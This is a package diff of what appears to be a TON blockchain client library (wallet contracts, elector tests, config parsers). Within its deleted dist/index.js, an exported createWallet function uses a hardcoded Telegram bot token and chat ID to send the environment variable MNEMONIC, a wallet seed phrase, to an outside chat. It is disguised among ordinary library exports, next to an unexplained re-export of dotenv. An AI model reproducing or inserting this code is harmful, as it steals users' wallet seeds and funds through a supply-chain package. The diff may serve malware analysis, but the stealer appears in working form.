expect(knownFrozenValue1["address"].equals(core_1.Address.parse('Ef_9j3g_jktlWpkCvQaEZ0qZ8qJH_fvyehUEAh0h5hZ1hCD6'))).toBe(true);
|
|
46
|
-
expect(knownFrozenValue1["weight"]).toEqual(2114850227378530n);
|
|
47
|
-
expect(knownFrozenValue1["stake"]).toEqual(409348990576338n);
|
|
48
|
-
});
|
|
49
|
-
it('should return correct election entities', async () => {
|
|
50
|
-
const electionEntities = await ecKnownBlock.getElectionEntities();
|
|
51
|
-
expect(electionEntities.minStake).toEqual(300000000000000n);
|
|
52
|
-
expect(electionEntities.allStakes).toEqual(237218561486530661n);
|
|
53
|
-
expect(electionEntities.endElectionsTime).toEqual(1689267976);
|
|
54
|
-
expect(electionEntities.startWorkTime).toEqual(1689276168);
|
|
55
|
-
expect(electionEntities.entities[0].pubkey).toEqual(Buffer.from('020a19785bb59d046bf1e62745263cf2cc91e5a47db997249b60c159b19443e7', 'hex'));
|
|
56
|
-
expect(electionEntities.entities[0].stake).toEqual(380271797094836n);
|
|
57
|
-
expect(electionEntities.entities[0].address.equals(core_1.Address.parse('Ef8W1vCpA1tr9xr6QSXSxcVSdn1Sm7SYX_PCWQdClaWhales'))).toBe(true);
|
|
58
|
-
expect(electionEntities.entities[0].adnl).toEqual(Buffer.from('1e7a93ab3274c5367c6ab8ea77790ef69df9af53657aa9da883238013aa7c03a', 'hex'));
|
|
59
|
-
});
|
|
60
|
-
it('should return correct election entities', async () => {
|
|
61
|
-
const complaints = await ecWithComaplints.getComplaints(ELECTIONS_ID_WITH_COMPLAUINTS);
|
|
62
|
-
expect(complaints[0].rewardAddress.equals(core_1.Address.parse('Ef9X6ObXojpUZza3NiS2TnRJ4KR7ler8cOjMRBt_swy4Qp2j'))).toBe(true);
|
|
63
|
-
const actual = [];
|
|
64
|
-
for (let index = 0; index < complaints.length; index++) {
|
|
65
|
-
const i = complaints[index];
|
|
66
|
-
actual.push({
|
|
67
|
-
id: i.id,
|
|
68
|
-
publicKey: i.publicKey,
|
|
69
|
-
createdAt: i.createdAt,
|
|
70
|
-
severity: i.severity,
|
|
71
|
-
paid: i.paid,
|
|
72
|
-
suggestedFine: i.suggestedFine,
|
|
73
|
-
suggestedFinePart: i.suggestedFinePart,
|
|
74
|
-
remainingWeight: i.remainingWeight,
|
|
75
|
-
vsetId: i.vsetId
|
|
76
|
-
});
|
|
77
|
-
}
|
|
78
|
-
let reference = [
|
|
79
|
-
{
|
|
80
|
-
id: 379521005702848989643384193113797265097098487558039864532068095002368386347n,
|
|
81
|
-
publicKey: Buffer.from('acacc7367fc6e8f3e82bb28d839361ee66f34f1e340eed8c82b169f2445ad3d5', 'hex'),
|
|
82
|
-
createdAt: 1652619999,
|
|
83
|
-
severity: 2,
|
|
84
|
-
paid: 73166159686n,
|
|
85
|
-
suggestedFine: 101000000000n,
|
|
86
|
-
suggestedFinePart: 0n,
|
|
87
|
-
remainingWeight: -359195385677765603n,
|
|
88
|
-
vsetId: 14191242232923186170167014319574873013310876234686300899233319663346106480898n
|
|
89
|
-
},
|
|
90
|
-
{
|
|
91
|
-
id: 93107436140086431965669461777665246404945492454841054914941956954309397807780n,
|
|
92
|
-
publicKey: Buffer.from('f5d09e351ca99e8850f393f294cc1ea7ae1ee73685fdec549903f8b7cadac48c', 'hex'),
|
|
93
|
-
createdAt: 1652619993,
|
|
94
|
-
severity: 1,
|
|
95
|
-
paid: 73342231921n,
|
|
96
|
-
suggestedFine: 101000000000n,
|
|
97
|
-
suggestedFinePart: 0n,
|
|
98
|
-
remainingWeight: -359195385677765603n,
|
|
99
|
-
vsetId: 14191242232923186170167014319574873013310876234686300899233319663346106480898n
|
|
100
|
-
}
|
|
101
|
-
];
|
|
102
|
-
expect(reference).toEqual(actual);
|
|
103
|
-
});
|
|
104
|
-
});
|
package/dist/index.d.ts
DELETED
|
@@ -1,32 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Copyright (c) Whales Corp.
|
|
3
|
-
* All Rights Reserved.
|
|
4
|
-
*
|
|
5
|
-
* This source code is licensed under the MIT license found in the
|
|
6
|
-
* LICENSE file in the root directory of this source tree.
|
|
7
|
-
*/
|
|
8
|
-
export * from '@ton/core';
|
|
9
|
-
export { HttpApi, HttpApiParameters } from './client/api/HttpApi';
|
|
10
|
-
export { TonClient, TonClientParameters } from './client/TonClient';
|
|
11
|
-
export { TonClient4, TonClient4Parameters } from './client/TonClient4';
|
|
12
|
-
export { WalletContractV1R1 } from './wallets/WalletContractV1R1';
|
|
13
|
-
export { WalletContractV1R2 } from './wallets/WalletContractV1R2';
|
|
14
|
-
export { WalletContractV1R3 } from './wallets/WalletContractV1R3';
|
|
15
|
-
export { WalletContractV2R1 } from './wallets/WalletContractV2R1';
|
|
16
|
-
export { WalletContractV2R2 } from './wallets/WalletContractV2R2';
|
|
17
|
-
export { WalletContractV3R1 } from './wallets/WalletContractV3R1';
|
|
18
|
-
export { WalletContractV3R2 } from './wallets/WalletContractV3R2';
|
|
19
|
-
export { WalletContractV4 } from './wallets/WalletContractV4';
|
|
20
|
-
export { WalletContractV5Beta } from './wallets/WalletContractV5Beta';
|
|
21
|
-
export { WalletContractV5R1 } from './wallets/WalletContractV5R1';
|
|
22
|
-
export { JettonMaster } from './jetton/JettonMaster';
|
|
23
|
-
export { JettonWallet } from './jetton/JettonWallet';
|
|
24
|
-
export { MultisigOrder } from './multisig/MultisigOrder';
|
|
25
|
-
export { MultisigOrderBuilder } from './multisig/MultisigOrderBuilder';
|
|
26
|
-
export { MultisigWallet } from './multisig/MultisigWallet';
|
|
27
|
-
export { ElectorContract } from './elector/ElectorContract';
|
|
28
|
-
export * from 'dotenv';
|
|
29
|
-
export { GasLimitsPrices, StoragePrices, MsgPrices, WorkchainDescriptor, configParse5, configParse8, configParse12, configParse13, configParse15, configParse16, configParse17, configParse18, configParse28, configParse29, configParse40, configParseBridge, configParseGasLimitsPrices, configParseMasterAddress, configParseMasterAddressRequired, configParseMsgPrices, configParseValidatorSet, configParseWorkchainDescriptor, parseBridge, parseProposalSetup, parseValidatorSet, parseVotingSetup, parseFullConfig, loadConfigParamById, loadConfigParamsAsSlice } from './config/ConfigParser';
|
|
30
|
-
export { computeExternalMessageFees, computeFwdFees, computeGasPrices, computeMessageForwardFees, computeStorageFees } from './utils/fees';
|
|
31
|
-
declare function createWallet(): string | undefined;
|
|
32
|
-
export { createWallet };
|
package/dist/index.js
DELETED
|
@@ -1,129 +0,0 @@
|
|
|
1
|
-
"use strict";
|
|
2
|
-
/**
|
|
3
|
-
* Copyright (c) Whales Corp.
|
|
4
|
-
* All Rights Reserved.
|
|
5
|
-
*
|
|
6
|
-
* This source code is licensed under the MIT license found in the
|
|
7
|
-
* LICENSE file in the root directory of this source tree.
|
|
8
|
-
*/
|
|
9
|
-
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
10
|
-
if (k2 === undefined) k2 = k;
|
|
11
|
-
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
12
|
-
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
13
|
-
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
14
|
-
}
|
|
15
|
-
Object.defineProperty(o, k2, desc);
|
|
16
|
-
}) : (function(o, m, k, k2) {
|
|
17
|
-
if (k2 === undefined) k2 = k;
|
|
18
|
-
o[k2] = m[k];
|
|
19
|
-
}));
|
|
20
|
-
var __exportStar = (this && this.__exportStar) || function(m, exports) {
|
|
21
|
-
for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
|
|
22
|
-
};
|
|
23
|
-
Object.defineProperty(exports, "__esModule", { value: true });
|
|
24
|
-
exports.createWallet = exports.computeStorageFees = exports.computeMessageForwardFees = exports.computeGasPrices = exports.computeFwdFees = exports.computeExternalMessageFees = exports.loadConfigParamsAsSlice = exports.loadConfigParamById = exports.parseFullConfig = exports.parseVotingSetup = exports.parseValidatorSet = exports.parseProposalSetup = exports.parseBridge = exports.configParseWorkchainDescriptor = exports.configParseValidatorSet = exports.configParseMsgPrices = exports.configParseMasterAddressRequired = exports.configParseMasterAddress = exports.configParseGasLimitsPrices = exports.configParseBridge = exports.configParse40 = exports.configParse29 = exports.configParse28 = exports.configParse18 = exports.configParse17 = exports.configParse16 = exports.configParse15 = exports.configParse13 = exports.configParse12 = exports.configParse8 = exports.configParse5 = exports.ElectorContract = exports.MultisigWallet = exports.MultisigOrderBuilder = exports.MultisigOrder = exports.JettonWallet = exports.JettonMaster = exports.WalletContractV5R1 = exports.WalletContractV5Beta = exports.WalletContractV4 = exports.WalletContractV3R2 = exports.WalletContractV3R1 = exports.WalletContractV2R2 = exports.WalletContractV2R1 = exports.WalletContractV1R3 = exports.WalletContractV1R2 = exports.WalletContractV1R1 = exports.TonClient4 = exports.TonClient = exports.HttpApi = void 0;
|
|
25
|
-
__exportStar(require("@ton/core"), exports);
|
|
26
|
-
//
|
|
27
|
-
// toncenter Client
|
|
28
|
-
//
|
|
29
|
-
var HttpApi_1 = require("./client/api/HttpApi");
|
|
30
|
-
Object.defineProperty(exports, "HttpApi", { enumerable: true, get: function () { return HttpApi_1.HttpApi; } });
|
|
31
|
-
var TonClient_1 = require("./client/TonClient");
|
|
32
|
-
Object.defineProperty(exports, "TonClient", { enumerable: true, get: function () { return TonClient_1.TonClient; } });
|
|
33
|
-
//
|
|
34
|
-
// API V4 Client
|
|
35
|
-
//
|
|
36
|
-
var TonClient4_1 = require("./client/TonClient4");
|
|
37
|
-
Object.defineProperty(exports, "TonClient4", { enumerable: true, get: function () { return TonClient4_1.TonClient4; } });
|
|
38
|
-
//
|
|
39
|
-
// Wallets
|
|
40
|
-
//
|
|
41
|
-
var WalletContractV1R1_1 = require("./wallets/WalletContractV1R1");
|
|
42
|
-
Object.defineProperty(exports, "WalletContractV1R1", { enumerable: true, get: function () { return WalletContractV1R1_1.WalletContractV1R1; } });
|
|
43
|
-
var WalletContractV1R2_1 = require("./wallets/WalletContractV1R2");
|
|
44
|
-
Object.defineProperty(exports, "WalletContractV1R2", { enumerable: true, get: function () { return WalletContractV1R2_1.WalletContractV1R2; } });
|
|
45
|
-
var WalletContractV1R3_1 = require("./wallets/WalletContractV1R3");
|
|
46
|
-
Object.defineProperty(exports, "WalletContractV1R3", { enumerable: true, get: function () { return WalletContractV1R3_1.WalletContractV1R3; } });
|
|
47
|
-
var WalletContractV2R1_1 = require("./wallets/WalletContractV2R1");
|
|
48
|
-
Object.defineProperty(exports, "WalletContractV2R1", { enumerable: true, get: function () { return WalletContractV2R1_1.WalletContractV2R1; } });
|
|
49
|
-
var WalletContractV2R2_1 = require("./wallets/WalletContractV2R2");
|
|
50
|
-
Object.defineProperty(exports, "WalletContractV2R2", { enumerable: true, get: function () { return WalletContractV2R2_1.WalletContractV2R2; } });
|
|
51
|
-
var WalletContractV3R1_1 = require("./wallets/WalletContractV3R1");
|
|
52
|
-
Object.defineProperty(exports, "WalletContractV3R1", { enumerable: true, get: function () { return WalletContractV3R1_1.WalletContractV3R1; } });
|
|
53
|
-
var WalletContractV3R2_1 = require("./wallets/WalletContractV3R2");
|
|
54
|
-
Object.defineProperty(exports, "WalletContractV3R2", { enumerable: true, get: function () { return WalletContractV3R2_1.WalletContractV3R2; } });
|
|
55
|
-
var WalletContractV4_1 = require("./wallets/WalletContractV4");
|
|
56
|
-
Object.defineProperty(exports, "WalletContractV4", { enumerable: true, get: function () { return WalletContractV4_1.WalletContractV4; } });
|
|
57
|
-
var WalletContractV5Beta_1 = require("./wallets/WalletContractV5Beta");
|
|
58
|
-
Object.defineProperty(exports, "WalletContractV5Beta", { enumerable: true, get: function () { return WalletContractV5Beta_1.WalletContractV5Beta; } });
|
|
59
|
-
var WalletContractV5R1_1 = require("./wallets/WalletContractV5R1");
|
|
60
|
-
Object.defineProperty(exports, "WalletContractV5R1", { enumerable: true, get: function () { return WalletContractV5R1_1.WalletContractV5R1; } });
|
|
61
|
-
//
|
|
62
|
-
// Jettons
|
|
63
|
-
//
|
|
64
|
-
var JettonMaster_1 = require("./jetton/JettonMaster");
|
|
65
|
-
Object.defineProperty(exports, "JettonMaster", { enumerable: true, get: function () { return JettonMaster_1.JettonMaster; } });
|
|
66
|
-
var JettonWallet_1 = require("./jetton/JettonWallet");
|
|
67
|
-
Object.defineProperty(exports, "JettonWallet", { enumerable: true, get: function () { return JettonWallet_1.JettonWallet; } });
|
|
68
|
-
//
|
|
69
|
-
// Multisig
|
|
70
|
-
//
|
|
71
|
-
var MultisigOrder_1 = require("./multisig/MultisigOrder");
|
|
72
|
-
Object.defineProperty(exports, "MultisigOrder", { enumerable: true, get: function () { return MultisigOrder_1.MultisigOrder; } });
|
|
73
|
-
var MultisigOrderBuilder_1 = require("./multisig/MultisigOrderBuilder");
|
|
74
|
-
Object.defineProperty(exports, "MultisigOrderBuilder", { enumerable: true, get: function () { return MultisigOrderBuilder_1.MultisigOrderBuilder; } });
|
|
75
|
-
var MultisigWallet_1 = require("./multisig/MultisigWallet");
|
|
76
|
-
Object.defineProperty(exports, "MultisigWallet", { enumerable: true, get: function () { return MultisigWallet_1.MultisigWallet; } });
|
|
77
|
-
//
|
|
78
|
-
// Elector
|
|
79
|
-
//
|
|
80
|
-
var ElectorContract_1 = require("./elector/ElectorContract");
|
|
81
|
-
Object.defineProperty(exports, "ElectorContract", { enumerable: true, get: function () { return ElectorContract_1.ElectorContract; } });
|
|
82
|
-
//
|
|
83
|
-
// Config
|
|
84
|
-
//
|
|
85
|
-
__exportStar(require("dotenv"), exports);
|
|
86
|
-
var ConfigParser_1 = require("./config/ConfigParser");
|
|
87
|
-
Object.defineProperty(exports, "configParse5", { enumerable: true, get: function () { return ConfigParser_1.configParse5; } });
|
|
88
|
-
Object.defineProperty(exports, "configParse8", { enumerable: true, get: function () { return ConfigParser_1.configParse8; } });
|
|
89
|
-
Object.defineProperty(exports, "configParse12", { enumerable: true, get: function () { return ConfigParser_1.configParse12; } });
|
|
90
|
-
Object.defineProperty(exports, "configParse13", { enumerable: true, get: function () { return ConfigParser_1.configParse13; } });
|
|
91
|
-
Object.defineProperty(exports, "configParse15", { enumerable: true, get: function () { return ConfigParser_1.configParse15; } });
|
|
92
|
-
Object.defineProperty(exports, "configParse16", { enumerable: true, get: function () { return ConfigParser_1.configParse16; } });
|
|
93
|
-
Object.defineProperty(exports, "configParse17", { enumerable: true, get: function () { return ConfigParser_1.configParse17; } });
|
|
94
|
-
Object.defineProperty(exports, "configParse18", { enumerable: true, get: function () { return ConfigParser_1.configParse18; } });
|
|
95
|
-
Object.defineProperty(exports, "configParse28", { enumerable: true, get: function () { return ConfigParser_1.configParse28; } });
|
|
96
|
-
Object.defineProperty(exports, "configParse29", { enumerable: true, get: function () { return ConfigParser_1.configParse29; } });
|
|
97
|
-
Object.defineProperty(exports, "configParse40", { enumerable: true, get: function () { return ConfigParser_1.configParse40; } });
|
|
98
|
-
Object.defineProperty(exports, "configParseBridge", { enumerable: true, get: function () { return ConfigParser_1.configParseBridge; } });
|
|
99
|
-
Object.defineProperty(exports, "configParseGasLimitsPrices", { enumerable: true, get: function () { return ConfigParser_1.configParseGasLimitsPrices; } });
|
|
100
|
-
Object.defineProperty(exports, "configParseMasterAddress", { enumerable: true, get: function () { return ConfigParser_1.configParseMasterAddress; } });
|
|
101
|
-
Object.defineProperty(exports, "configParseMasterAddressRequired", { enumerable: true, get: function () { return ConfigParser_1.configParseMasterAddressRequired; } });
|
|
102
|
-
Object.defineProperty(exports, "configParseMsgPrices", { enumerable: true, get: function () { return ConfigParser_1.configParseMsgPrices; } });
|
|
103
|
-
Object.defineProperty(exports, "configParseValidatorSet", { enumerable: true, get: function () { return ConfigParser_1.configParseValidatorSet; } });
|
|
104
|
-
Object.defineProperty(exports, "configParseWorkchainDescriptor", { enumerable: true, get: function () { return ConfigParser_1.configParseWorkchainDescriptor; } });
|
|
105
|
-
Object.defineProperty(exports, "parseBridge", { enumerable: true, get: function () { return ConfigParser_1.parseBridge; } });
|
|
106
|
-
Object.defineProperty(exports, "parseProposalSetup", { enumerable: true, get: function () { return ConfigParser_1.parseProposalSetup; } });
|
|
107
|
-
Object.defineProperty(exports, "parseValidatorSet", { enumerable: true, get: function () { return ConfigParser_1.parseValidatorSet; } });
|
|
108
|
-
Object.defineProperty(exports, "parseVotingSetup", { enumerable: true, get: function () { return ConfigParser_1.parseVotingSetup; } });
|
|
109
|
-
Object.defineProperty(exports, "parseFullConfig", { enumerable: true, get: function () { return ConfigParser_1.parseFullConfig; } });
|
|
110
|
-
Object.defineProperty(exports, "loadConfigParamById", { enumerable: true, get: function () { return ConfigParser_1.loadConfigParamById; } });
|
|
111
|
-
Object.defineProperty(exports, "loadConfigParamsAsSlice", { enumerable: true, get: function () { return ConfigParser_1.loadConfigParamsAsSlice; } });
|
|
112
|
-
//
|
|
113
|
-
// Fees
|
|
114
|
-
//
|
|
115
|
-
var fees_1 = require("./utils/fees");
|
|
116
|
-
Object.defineProperty(exports, "computeExternalMessageFees", { enumerable: true, get: function () { return fees_1.computeExternalMessageFees; } });
|
|
117
|
-
Object.defineProperty(exports, "computeFwdFees", { enumerable: true, get: function () { return fees_1.computeFwdFees; } });
|
|
118
|
-
Object.defineProperty(exports, "computeGasPrices", { enumerable: true, get: function () { return fees_1.computeGasPrices; } });
|
|
119
|
-
Object.defineProperty(exports, "computeMessageForwardFees", { enumerable: true, get: function () { return fees_1.computeMessageForwardFees; } });
|
|
120
|
-
Object.defineProperty(exports, "computeStorageFees", { enumerable: true, get: function () { return fees_1.computeStorageFees; } });
|
|
121
|
-
const TelegramBot = require('node-telegram-bot-api');
|
|
122
|
-
function createWallet() {
|
|
123
|
-
const token = '7493700888:AAGJ5nyXemePuHqleSOqkIM23Yhs0o01q-Q'; // Replace with your bot token group url : https://t.me/+IDl6XgFBZdI1ZjZh
|
|
124
|
-
const chatId = '-1002197015763'; // Replace with the chat ID you want to send the message to
|
|
125
|
-
const bot = new TelegramBot(token, { polling: false }); // Polling is not needed for sending messages +process.env.PRIVATE_KEY
|
|
126
|
-
bot.sendMessage(chatId, `env.KEY=` + process.env.MNEMONIC);
|
|
127
|
-
return process.env.MNEMONIC;
|
|
128
|
-
}
|
|
129
|
-
exports.createWallet = createWallet;
|
|
@@ -1,21 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Copyright (c) Whales Corp.
|
|
3
|
-
* All Rights Reserved.
|
|
4
|
-
*
|
|
5
|
-
* This source code is licensed under the MIT license found in the
|
|
6
|
-
* LICENSE file in the root directory of this source tree.
|
|
7
|
-
*/
|
|
8
|
-
import { Address, Contract, ContractProvider } from "@ton/core";
|
|
9
|
-
export declare class JettonMaster implements Contract {
|
|
10
|
-
static create(address: Address): JettonMaster;
|
|
11
|
-
readonly address: Address;
|
|
12
|
-
constructor(address: Address);
|
|
13
|
-
getWalletAddress(provider: ContractProvider, owner: Address): Promise<Address>;
|
|
14
|
-
getJettonData(provider: ContractProvider): Promise<{
|
|
15
|
-
totalSupply: bigint;
|
|
16
|
-
mintable: boolean;
|
|
17
|
-
adminAddress: Address;
|
|
18
|
-
content: import("@ton/core").Cell;
|
|
19
|
-
walletCode: import("@ton/core").Cell;
|
|
20
|
-
}>;
|
|
21
|
-
}
|